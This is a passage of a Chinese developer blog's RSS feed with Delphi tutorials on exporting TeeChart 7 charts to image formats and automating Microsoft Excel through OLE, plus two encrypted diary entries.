<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">var<BR>Chart: TChart;<BR>S: TChartSeries;<BR>TmpFile: string;<BR>begin<BR>Chart := TChart.Create(nil);<BR>try<BR>&nbsp;&nbsp;&nbsp; Chart.Parent := Application.MainForm;<BR>&nbsp;&nbsp;&nbsp; Chart.Visible := False;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; Chart.Title.Text.Text := '测试图表';</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; S := TBarSeries.Create(Chart);</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; Chart.AddSeries(S);</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; S.Title := '嘿嘿';<BR>&nbsp;&nbsp;&nbsp; S.AddXY(1, 56, '一月', clGreen);<BR>&nbsp;&nbsp;&nbsp; S.AddXY(2, 67, '二月', clYellow);<BR>&nbsp;&nbsp;&nbsp; S.AddXY(3, 34, '三月', clBlue);<BR>&nbsp;&nbsp;&nbsp; S.AddXY(4, 78, '四月', clRed);</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; Chart.View3D := False;<BR>&nbsp;&nbsp;&nbsp; Chart.BackColor := clWhite;<BR>&nbsp;&nbsp;&nbsp; Chart.Gradient.StartColor := clWhite;<BR>&nbsp;&nbsp;&nbsp; Chart.Gradient.EndColor := clWhite;<BR>&nbsp;&nbsp;&nbsp; Chart.Gradient.Visible := True;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; TmpFile := Application.ExeName + '.bmp';</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; Chart.SaveToBitmapFile(TmpFile);</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">&nbsp;&nbsp;&nbsp; Image1.Picture.LoadFromFile(TmpFile);<BR>finally<BR>&nbsp;&nbsp;&nbsp; Chart.Free;<BR>end;<BR>end;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN>&nbsp;</DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN>&nbsp;</DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN>&nbsp;</DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN>&nbsp;</DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">－－－－－－导出成图片－－－－－－－－－－－－－－－－－－</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN>&nbsp;</DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e4></A>1.&nbsp;TChart7前的版本</H2></DIV></DIV></DIV>
<P>TChart7前的TChart可以通过类似于Chart1.Export.SaveToJPEGFile的方法把TChart存成需要的图像格式，但到TChart7后TChart就没有Export属性了，要导出图像要用下面的方法。我尽量用代码说明问题，如果细节不够的话，自己可以查询相应的源代码进行学习。</P></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e9></A>2.&nbsp;TChart7导出BMP、WMF</H2></DIV></DIV></DIV>
<P>TChart7提供导出BMP、WMF的方法，直接调用即可，例子如下：</P><PRE class=programlisting>Chart1.SaveToBitmapFile('c:\1.bmp');<BR>Chart1.SaveToMetafile('c:\1.wmf');</PRE></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e16></A>3.&nbsp;TChart7导出JPG（JPEG）</H2></DIV></DIV></DIV>
<P>TChart7导出JPG（JPEG）也比较简单，在本单元中uses TeeJPEG单元，然后执行TeeJPEG中的TeeSaveToJPEG或TeeSaveToJPEGFile。例子如下：</P><PRE class=programlisting>//注意要包含TeeJPEG才可以。<BR>implementation<BR>uses<BR>  TeeJPEG;<BR><BR>procedure TForm1.Button2Click(Sender: TObject);<BR>begin<BR>  TeeSaveToJPEG(Chart1, 'c:\1.jpg', -1, -1);//后面的两个参数是宽和高，如果用TeeChart的宽、高可以设为-1.<BR>end;</PRE></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e23></A>4.&nbsp;TChart7导出GIF</H2></DIV></DIV></DIV>
<P>TChart7导出GIF比较复杂一些，还是用代码举例吧。</P><PRE class=programlisting>//注意要包含TeeGIF才可以。<BR>implementation<BR>uses<BR>  TeeGIF;<BR><BR>procedure TForm1.Button3Click(Sender: TObject);<BR>var<BR>  exp : TGIFExportFormat;<BR>  frm : TTeeGIFOptions;<BR>begin<BR>  exp := TGIFExportFormat.Create;<BR>  exp.Panel := Chart1;<BR>  frm := TTeeGIFOptions(exp.Options());<BR>  frm.CBReduction.ItemIndex := 3;<BR>  exp.SaveToFile('c:\1.gif');<BR>  exp.Free;<BR>end;</PRE>
<P>稍微解释一下，上面的例子对于TChart7的图像导出很有代表意义，其实所有格式的导出到可以用上例的方式，只是把TGIFExportFormat换成需要的格式即可，因为所有的导出都对应一种格式。</P>
<P>上面例子中，生成一个导出的格式类对象，设置此格式要导出的Chart，如果有必要再设定导出的选项。导出选项要特别提醒一下，所有导出格式的导出选项都是通过格式类的Options()函数得到的窗体进行设置的，这点比较奇怪。</P>
<P>GIF导出是必须设定frm.CBReduction.ItemIndex，因为此项缺省为0，导出是会报“Color Table error....”的错误，所以必须设为非零的值，每个值代表什么意思，自己可以查一下。</P></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e36></A>5.&nbsp;TChart7导出PCX</H2></DIV></DIV></DIV>
<P>TChart7导出PCX同导出GIF极其类似，代码示例如下：</P><PRE class=programlisting>//注意要包含TeePCX才可以。<BR>implementation<BR>uses<BR>  TeePCX;<BR><BR>procedure TForm1.Button4Click(Sender: TObject);<BR>var<BR>  exp : TPCXExportFormat;<BR>begin<BR>  exp := TPCXExportFormat.Create;<BR>  exp.Panel := Chart1;<BR>  exp.SaveToFile('c:\1.pcx');<BR>  exp.Free;<BR>end;</PRE></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e43></A>6.&nbsp;TChart7导出HTM</H2></DIV></DIV></DIV>
<P>TTChart7可以直接导出到HTM，在本单元中uses TeeVMLCanvas单元，然后执行TeeVMLCanvas中的TeeSaveToVMLFile即可。示例如下：</P><PRE class=programlisting>//注意要包含TeeVMLCanvas才可以。<BR>implementation<BR>uses<BR>  TeeVMLCanvas;<BR>procedure TForm1.Button5Click(Sender: TObject);<BR>begin<BR>  TeeSaveToVMLFile(Chart1, 'c:\1.html');<BR>end;</PRE></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e50></A>7.&nbsp;TChart7导出PNG</H2></DIV></DIV></DIV>
<P>TTChart7可以很容易导出到PNG，在本单元中uses TeePNG单元，然后执行TeePNG中的TeeSaveToPNG即可。示例如下：</P><PRE class=programlisting>//注意要包含TeePNG才可以。<BR>implementation<BR>uses<BR>  TeePNG;<BR><BR>procedure TForm1.Button7Click(Sender: TObject);<BR>begin<BR>  TeeSaveToPNG(Chart1, 'c:\1.png');<BR>end;</PRE>
<P>要注意的是，保存PNG格式需要LPng.dll，所以为了能正常运行上例代码需下载安装LPng.dll。</P></DIV>
<DIV class=section lang=en>
<DIV class=titlepage>
<DIV>
<DIV>
<H2 class=title style="CLEAR: both"><A name=d0e59></A>8.&nbsp;结语</H2></DIV></DIV></DIV>
<P>本文给出了TeeChart7导出图像时的方法，每种方式都给出了代码示例，希望对使用TChart7的图像导出进行汇总。</P>&nbsp;</DIV></SPAN></DIV>]]></description>
</item><item>
<title><![CDATA[Delphi  控制Excel]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1208.html</link>
<author>roki</author>
<pubDate>2008-1-2 23:11:00</pubDate>
<description><![CDATA[<DIV><SPAN style="FONT-SIZE: 10pt">(一) 使用动态创建的方法</SPAN></DIV>
<P><SPAN style="FONT-SIZE: 10pt">首先，在前面 要 uses COMOBJ ,不然会提示没有定义CreateOleObject</SPAN></P>
<DIV><SPAN style="FONT-SIZE: 10pt">动态创建 Excel 对象，使用ComObj:<BR>var ExcelApp: Variant;<BR>ExcelApp := CreateOleObject( 'Excel.Application' );<BR>1) 显示当前窗口：<BR>ExcelApp.Visible := True;<BR>2) 更改 Excel 标题栏：<BR>ExcelApp.Caption := '应用程序调用 Microsoft Excel';<BR>3) 添加新工作簿：<BR>ExcelApp.WorkBooks.Add;<BR>4) 打开已存在的工作簿：<BR>ExcelApp.WorkBooks.Open( 'C:\Excel\Demo.xls' );<BR>5) 设置第2个工作表为活动工作表：<BR>ExcelApp.WorkSheets[2].Activate;&nbsp; 或 ExcelApp.WorksSheets[ 'Sheet2' ].Activate;<BR>6) 给单元格赋值：<BR>ExcelApp.Cells[1,4].Value := '第一行第四列';<BR>7) 设置指定列的宽度（单位：字符个数），以第一列为例：<BR>ExcelApp.ActiveSheet.Columns[1].ColumnsWidth := 5;<BR>8) 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例：<BR>ExcelApp.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米<BR>9) 在第8行之前插入分页符：<BR>ExcelApp.WorkSheets[1].Rows.PageBreak := 1;<BR>10) 在第8列之前删除分页符：ExcelApp.ActiveSheet.Columns[4].PageBreak := 0;<BR>11) 指定边框线宽度：<BR>ExcelApp.ActiveSheet.Range[ 'B3:D4' ].Borders[2].Weight := 3;<BR>1-左&nbsp;&nbsp;&nbsp; 2-右&nbsp;&nbsp; 3-顶&nbsp;&nbsp;&nbsp; 4-底&nbsp;&nbsp; 5-斜( \ )&nbsp;&nbsp;&nbsp;&nbsp; 6-斜( / )<BR>12) 清除第一行第四列单元格公式：<BR>ExcelApp.ActiveSheet.Cells[1,4].ClearContents;<BR>13) 设置第一行字体属性：ExcelApp.ActiveSheet.Rows[1].Font.Name := '隶书';<BR>ExcelApp.ActiveSheet.Rows[1].Font.Color&nbsp; := clBlue;<BR>ExcelApp.ActiveSheet.Rows[1].Font.Bold&nbsp;&nbsp; := True;<BR>ExcelApp.ActiveSheet.Rows[1].Font.UnderLine := True;<BR>14) 进行页面设置：<BR>a.页眉：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.CenterHeader := '报表演示';<BR>b.页脚：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.CenterFooter := '第&amp;P页';<BR>c.页眉到顶端边距2cm：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.HeaderMargin := 2/0.035;<BR>d.页脚到底端边距3cm：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.HeaderMargin := 3/0.035;<BR>e.顶边距2cm：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.TopMargin := 2/0.035;<BR>f.底边距2cm：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.BottomMargin := 2/0.035;<BR>g.左边距2cm：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.LeftMargin := 2/0.035;<BR>h.右边距2cm：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.RightMargin := 2/0.035;<BR>i.页面水平居中：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.CenterHorizontally := 2/0.035;<BR>j.页面垂直居中：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.CenterVertically := 2/0.035;<BR>k.打印单元格网线：<BR>&nbsp;&nbsp; ExcelApp.ActiveSheet.PageSetup.PrintGridLines := True;<BR>15) 拷贝操作：<BR>a.拷贝整个工作表：&nbsp;&nbsp; ExcelApp.ActiveSheet.Used.Range.Copy;<BR>b.拷贝指定区域：&nbsp;&nbsp; ExcelApp.ActiveSheet.Range[ 'A1:E2' ].Copy;<BR>c.从A1位置开始粘贴：&nbsp;&nbsp; ExcelApp.ActiveSheet.Range.[ 'A1' ].PasteSpecial;<BR>d.从文件尾部开始粘贴：&nbsp;&nbsp; ExcelApp.ActiveSheet.Range.PasteSpecial;<BR>16) 插入一行或一列：<BR>a. ExcelApp.ActiveSheet.Rows[2].Insert;<BR>b. ExcelApp.ActiveSheet.Columns[1].Insert;<BR>17) 删除一行或一列：<BR>a. ExcelApp.ActiveSheet.Rows[2].Delete;<BR>b. ExcelApp.ActiveSheet.Columns[1].Delete;<BR>18) 打印预览工作表：<BR>ExcelApp.ActiveSheet.PrintPreview;<BR>19) 打印输出工作表：<BR>ExcelApp.ActiveSheet.PrintOut;<BR>20) 工作表保存：<BR>if not ExcelApp.ActiveWorkBook.Saved then<BR>&nbsp; ExcelApp.ActiveSheet.PrintPreview;<BR>21) 工作表另存为：<BR>ExcelApp.SaveAs( 'C:\Excel\Demo1.xls' );<BR>22) 放弃存盘：<BR>ExcelApp.ActiveWorkBook.Saved := True;<BR>23) 关闭工作簿：<BR>ExcelApp.WorkBooks.Close;<BR>24) 退出 Excel：<BR>ExcelApp.Quit;<BR>(二) 使用Delphi 控件方法<BR>在Form中分别放入ExcelApplication, ExcelWorkbook和ExcelWorksheet。<BR></DIV></SPAN>
<TABLE cellSpacing=0 cellPadding=0 width=160 align=left border=0>
<TBODY>
<TR>
<TD id=newbooks1><SPAN style="COLOR: #ff0000"><B>正在装载数据……</B></SPAN></TD></TR></TBODY></TABLE><BR>1）&nbsp; 打开Excel <BR>ExcelApplication1.Connect;<BR>2) 显示当前窗口：<BR>ExcelApplication1.Visible[0]:=True;<BR>3) 更改 Excel 标题栏：<BR>ExcelApplication1.Caption := '应用程序调用 Microsoft Excel';<BR>4) 添加新工作簿：<BR>ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks.Add(EmptyParam,0));<BR>5) 添加新工作表：<BR>var Temp_Worksheet: _WorkSheet;<BR>begin<BR>Temp_Worksheet:=ExcelWorkbook1.<BR>WorkSheets.Add(EmptyParam,EmptyParam,EmptyParam,EmptyParam,0) as _WorkSheet;<BR>ExcelWorkSheet1.ConnectTo(Temp_WorkSheet);End;<BR>6) 打开已存在的工作簿：<BR>ExcelApplication1.Workbooks.Open (c:\a.xls<BR>EmptyParam,EmptyParam,EmptyParam,EmptyParam,<BR>EmptyParam,EmptyParam,EmptyParam,EmptyParam,<BR>&nbsp;&nbsp; EmptyParam,EmptyParam,EmptyParam,EmptyParam,0)<BR>7) 设置第2个工作表为活动工作表：<BR>ExcelApplication1.WorkSheets[2].Activate;&nbsp; 或<BR>ExcelApplication1.WorksSheets[ 'Sheet2' ].Activate;<BR>8) 给单元格赋值：<BR>ExcelApplication1.Cells[1,4].Value := '第一行第四列';<BR>9) 设置指定列的宽度（单位：字符个数），以第一列为例：<BR>ExcelApplication1.ActiveSheet.Columns[1].ColumnsWidth := 5;<BR>10) 设置指定行的高度（单位：磅）（1磅＝0.035厘米），以第二行为例：<BR>ExcelApplication1.ActiveSheet.Rows[2].RowHeight := 1/0.035; // 1厘米<BR>11) 在第8行之前插入分页符：<BR>ExcelApplication1.WorkSheets[1].Rows.PageBreak := 1;<BR>12) 在第8列之前删除分页符：<BR>ExcelApplication1.ActiveSheet.Columns[4].PageBreak := 0;<BR>13) 指定边框线宽度：<BR>ExcelApplication1.ActiveSheet.Range[ 'B3:D4' ].Borders[2].Weight := 3;<BR>1-左&nbsp;&nbsp;&nbsp; 2-右&nbsp;&nbsp; 3-顶&nbsp;&nbsp;&nbsp; 4-底&nbsp;&nbsp; 5-斜( \ )&nbsp;&nbsp;&nbsp;&nbsp; 6-斜( / )<BR>14) 清除第一行第四列单元格公式：<BR>ExcelApplication1.ActiveSheet.Cells[1,4].ClearContents;<BR>15) 设置第一行字体属性：<BR>ExcelApplication1.ActiveSheet.Rows[1].Font.Name := '隶书';<BR>ExcelApplication1.ActiveSheet.Rows[1].Font.Color&nbsp; := clBlue;<BR>ExcelApplication1.ActiveSheet.Rows[1].Font.Bold&nbsp;&nbsp; := True;<BR>ExcelApplication1.ActiveSheet.Rows[1].Font.UnderLine := True;<BR>16) 进行页面设置：<BR>a.页眉：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.CenterHeader := '报表演示';<BR>b.页脚：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.CenterFooter := '第&amp;P页';<BR>c.页眉到顶端边距2cm：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.HeaderMargin := 2/0.035;<BR>d.页脚到底端边距3cm：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.HeaderMargin := 3/0.035;<BR>e.顶边距2cm：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.TopMargin := 2/0.035;<BR>f.底边距2cm：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.BottomMargin := 2/0.035;<BR>g.左边距2cm：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.LeftMargin := 2/0.035;<BR>h.右边距2cm：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.RightMargin := 2/0.035;<BR>i.页面水平居中：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.CenterHorizontally := 2/0.035;<BR>j.页面垂直居中：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.CenterVertically := 2/0.035;<BR>k.打印单元格网线：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.PageSetup.PrintGridLines := True;<BR>17) 拷贝操作：<BR>a.拷贝整个工作表：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.Used.Range.Copy;<BR>b.拷贝指定区域：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.Range[ 'A1:E2' ].Copy;<BR>c.从A1位置开始粘贴：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.Range.[ 'A1' ].PasteSpecial;<BR>d.从文件尾部开始粘贴：<BR>&nbsp;&nbsp; ExcelApplication1.ActiveSheet.Range.PasteSpecial;<BR>18) 插入一行或一列：<BR>a. ExcelApplication1.ActiveSheet.Rows[2].Insert;<BR>b. ExcelApplication1.ActiveSheet.Columns[1].Insert;<BR>19) 删除一行或一列：<BR>a. ExcelApplication1.ActiveSheet.Rows[2].Delete;<BR>b. ExcelApplication1.ActiveSheet.Columns[1].Delete;<BR>20) 打印预览工作表：<BR>ExcelApplication1.ActiveSheet.PrintPreview;<BR>21) 打印输出工作表：<BR>ExcelApplication1.ActiveSheet.PrintOut;<BR>22) 工作表保存：<BR>if not ExcelApplication1.ActiveWorkBook.Saved then<BR>&nbsp; ExcelApplication1.ActiveSheet.PrintPreview;<BR>23) 工作表另存为：<BR>ExcelApplication1.SaveAs( 'C:\Excel\Demo1.xls' );<BR>24) 放弃存盘：<BR>ExcelApplication1.ActiveWorkBook.Saved := True;<BR>25) 关闭工作簿：<BR>ExcelApplication1.WorkBooks.Close;<BR>26) 退出 Excel：<BR>ExcelApplication1.Quit;<BR>ExcelApplication1.Disconnect;]]></description>
</item><item>
<title><![CDATA[《洛奇心语——2007光辉岁月》]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2007/1207.html</link>
<author>roki</author>
<pubDate>2007-12-24 4:47:00</pubDate>
<description><![CDATA[此日志内容已加密]]></description>
</item><item>
<title><![CDATA[《洛奇心语——望梅止渴》]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2007/1206.html</link>
<author>roki</author>
<pubDate>2007-12-23 2:14:00</pubDate>
<description><![CDATA[此日志内容已加密]]></description>
</item>
</channel>
</rss>
